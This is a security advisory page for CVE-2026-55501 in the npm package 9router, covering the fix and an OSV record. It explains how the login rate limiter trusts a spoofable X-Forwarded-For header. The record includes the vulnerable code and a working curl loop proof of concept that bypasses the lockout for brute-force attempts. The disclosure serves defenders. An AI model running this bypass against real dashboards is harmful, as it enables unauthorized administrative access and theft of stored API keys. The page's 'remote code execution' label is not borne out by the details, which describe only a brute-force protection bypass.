CVE-2026-55501: 9router Remote Code Execution Vulnerability
HIGHCVE-2026-55501 is a HIGH (CVSS 7.3) remote code execution vulnerability (CWE-307: Improper Restriction of Excessive Authentication Attempts) affecting 9router libraries in the npm ecosystem. The issue involves login brute-force protection bypass via spoofed x-forwarded-for header. Remediation is available by upgrading affected packages to version 0.4.77.
CVE-2026-55501 at a Glance
Security Impact
CVSS: 7.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).
How to Fix CVE-2026-55501
To remediate this vulnerability, upgrade all affected 9router dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install 9router@0.4.77
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls 9router
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-55501, inspect your project dependencies using npm:
npm ls 9router
Analyze the terminal output to locate any version of 9router in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.77), your application is affected.
Note: The npm ls 9router command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts, where the product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. In 9router, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55501 Affected 9router Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
9router
|
npm |
< 0.4.77
|
0.4.77
|
References
Frequently Asked Questions
What is CVE-2026-55501?
Which 9router versions are affected?
What version fixes CVE-2026-55501?
Is 9router affected?
What is the CVSS score of CVE-2026-55501?
What CWE is associated with CVE-2026-55501?
How can I check npm dependencies for CVE-2026-55501?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7cfm-pqrj-xgq7",
"modified" : "2026-07-06T21:46:20Z",
"published" : "2026-07-06T21:46:20Z",
"aliases" : [ "CVE-2026-55501" ],
"summary" : "9router: Login brute-force protection bypass via spoofed X-Forwarded-For header",
"details" : "## Summary\n\nThe 9router dashboard login rate limiter derives the client identity from the attacker-controlled `X-Forwarded-For` HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the `X-Forwarded-For` value on each login attempt and receive a fresh rate-limit bucket every time.\n\nThis bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.\n\n## Details\n\n| Component | File | Note |\n| ---------------------------- | --------------------------------- | --------------------------------------------------------------------------- |\n| Dashboard login rate limiter | `src/lib/auth/loginLimiter.js` | Uses `X-Forwarded-For` as the client identity without a trusted-proxy check |\n| Dashboard login route | `src/app/api/auth/login/route.js` | Calls `checkLock()` and `recordFail()` using the spoofable client identity |\n\n#### Vulnerable Code\n\n`src/lib/auth/loginLimiter.js`:\n\n```js\nexport function getClientIp(request) {\n const xff = request.headers.get(\"x-forwarded-for\");\n if (xff) return xff.split(\",\")[0].trim();\n return request.headers.get(\"x-real-ip\") || \"unknown\";\n}\n```\n\nThe returned value is used as the key for the in-memory rate-limit state:\n\n```js\nconst attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }\n```\n\nThe login route uses this value when checking and recording failed login attempts:\n\n```js\nexport async function POST(request) {\n const ip = getClientIp(request);\n const lock = checkLock(ip);\n\n if (lock.locked) {\n return NextResponse.json(\n { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },\n { status: 429 }\n );\n }\n\n // ... password validation ...\n\n recordFail(ip);\n}\n```\n\nBecause `X-Forwarded-For` is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.\n\n## PoC\n\n### Step 1 — Baseline: rate limiter triggers when the client identity is stable\n\nSend repeated failed login attempts with the same `X-Forwarded-For` value:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: localhost:20128\nContent-Type: application/json\nX-Forwarded-For: 1.1.1.1\n\n{\"password\":\"wrong-password\"}\n```\n\nObserved behavior:\n\n| Attempt | Response |\n| ------- | ----------------------------------------------------- |\n| 1 | `Invalid password. 4 attempt(s) left before lockout.` |\n| 2 | `Invalid password. 3 attempt(s) left before lockout.` |\n| 3 | `Invalid password. 2 attempt(s) left before lockout.` |\n| 4 | `Invalid password. 1 attempt(s) left before lockout.` |\n| 5 | `Too many failed attempts. Try again in 30s.` |\n| 6 | `Too many failed attempts. Try again in 30s.` |\n\nThis confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.\n\n### Step 2 — Bypass: rotate `X-Forwarded-For` on each request\n\nSend failed login attempts while changing the `X-Forwarded-For` value for every request:\n\n```bash\nfor i in $(seq 1 10); do\n curl -s -X POST \"http://localhost:20128/api/auth/login\" \\\n -H \"Content-Type: application/json\" \\\n -H \"X-Forwarded-For: 10.0.0.$i\" \\\n -d '{\"password\":\"wrong-password\"}'\n echo\ndone\n```\n\nObserved response for every request:\n\n```json\n{\n \"error\": \"Invalid password. 4 attempt(s) left before lockout.\",\n \"remainingBeforeLock\": 4\n}\n```\n\nThe counter resets to the initial state on every request, and the lockout is never triggered.\n\n### Step 3 — Impact amplifier: default dashboard password\n\nIf the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.\n\nExample request:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: localhost:20128\nContent-Type: application/json\nX-Forwarded-For: 99.99.99.99\n\n{\"password\":\"<default-dashboard-password>\"}\n```\n\nObserved response on a default installation:\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax\n```\n\n```json\n{\n \"success\": true\n}\n```\n\nThe default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.\n\n## Attack Scenario\n\n1. A remote attacker identifies a publicly reachable 9router dashboard.\n2. The attacker sends repeated login attempts to `/api/auth/login`.\n3. For each attempt, the attacker changes the `X-Forwarded-For` header value.\n4. 9router treats each request as a different client and assigns a fresh rate-limit bucket.\n5. The attacker can continue brute-force attempts without triggering the configured lockout.\n6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access.\n\n## Impact\n\nA successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.\n\nIf authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:\n\n* Access configured provider credentials and API keys.\n* Change dashboard and authentication settings.\n* Disable login protection if the application allows it.\n* Create persistent API keys or other long-lived access tokens.\n* Modify application configuration.\n* Chain the access with other server-side functionality exposed by the dashboard.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "9router"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.4.77"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.4.71"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/decolua/9router"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-290", "CWE-307" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-06T21:46:20Z",
"nvd_published_at" : null
}
}